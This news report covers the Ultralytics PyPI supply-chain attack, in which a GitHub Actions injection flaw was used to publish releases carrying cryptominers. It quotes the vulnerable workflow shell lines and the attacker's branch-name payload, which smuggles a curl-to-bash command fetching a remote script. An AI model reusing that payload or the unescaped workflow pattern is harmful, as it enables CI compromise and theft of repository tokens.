Attackers managed to execute code with the privileges of a GitHub Actions handler in the repository of the Python library Ultralytics, which is used for computer vision tasks such as object detection in images and image segmentation. After gaining access to the repository, the attackers published several new releases of Ultralytics in the PyPI directory, including malicious changes for cryptocurrency mining. Over the past month, the Ultralytics library has been downloaded from the PyPI directory more than 6.4 million times.
To compromise the repository, a vulnerability in the package ultralytics-actions was exploited. This package is used for automatically triggering handlers upon certain actions in the repository on GitHub, using the GitHub Actions mechanism. In the ultralytics project, the vulnerable handler was linked to the pull_request_target event and was triggered upon receiving new pull requests. In particular, to format the code in the submitted pull requests, the handler format.yml was called, and the code specified in the 'run' section of the action.yml file was executed, which contained shell commands with substitution patterns: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name "${{ inputs.github_username }}" git config —global user.email "${{ inputs.github_email }}"
Thus, the name of the Git branch mentioned in the pull request was incorporated into the shell commands without proper escaping. Notably, a similar vulnerability had already been fixed in August in the ultralytics-actions package, related to the use of an external value in the echo function: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
To execute their code within the context of the GitHub Actions handler, the attackers sent a pull request to the ultralytics repository, specifying as the branch name: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Consequently, when the pull request was received, the specified string "$(…)" provided by the attackers was inserted into the code, which, upon the subsequent execution of the handler, led to the execution of the code "curl -sSfL raw.githubusercontent.com/.../file.sh | bash".
Running code in the context of GitHub Actions can be used to capture repository access tokens and other confidential data. It's still unclear exactly how the attackers managed to create a release that allowed them to execute their code in GitHub Actions, but it is believed that this was made possible by changing the publish.yml handler (the attackers removed the check for the account permitted to publish releases to PyPI) and using techniques to poison the GitHub Actions build cache to inject their data into the release.
The first malicious release of Ultralytics 8.3.41 was published by the attackers in the PyPI directory on December 4 at 23:51 (MSK) and was removed at 12:15 the next day. At 15:47, another release 8.3.42 was posted, which was deleted at 16:47. Thus, the malicious versions were available for download for a total of about 13 hours (on a day when PyPI records about 250,000 downloads of the ultralytics library). The releases 8.3.41 and 8.3.42 contained code that facilitated downloading from an external server XMRig component for cryptocurrency mining.
The project developers resolved the issue and created corrective releases 8.3.43 and 8.3.44, but two days later, another attack occurred, during which the attackers published two additional malicious releases today at 04:41 and 05:27 (MSK) — 8.3.45 and 8.3.46, which include different code for mining. Until the investigation is complete, users are advised to hold off on installing new versions and lock the dependency to release 8.3.44.
Source: opennet.ru
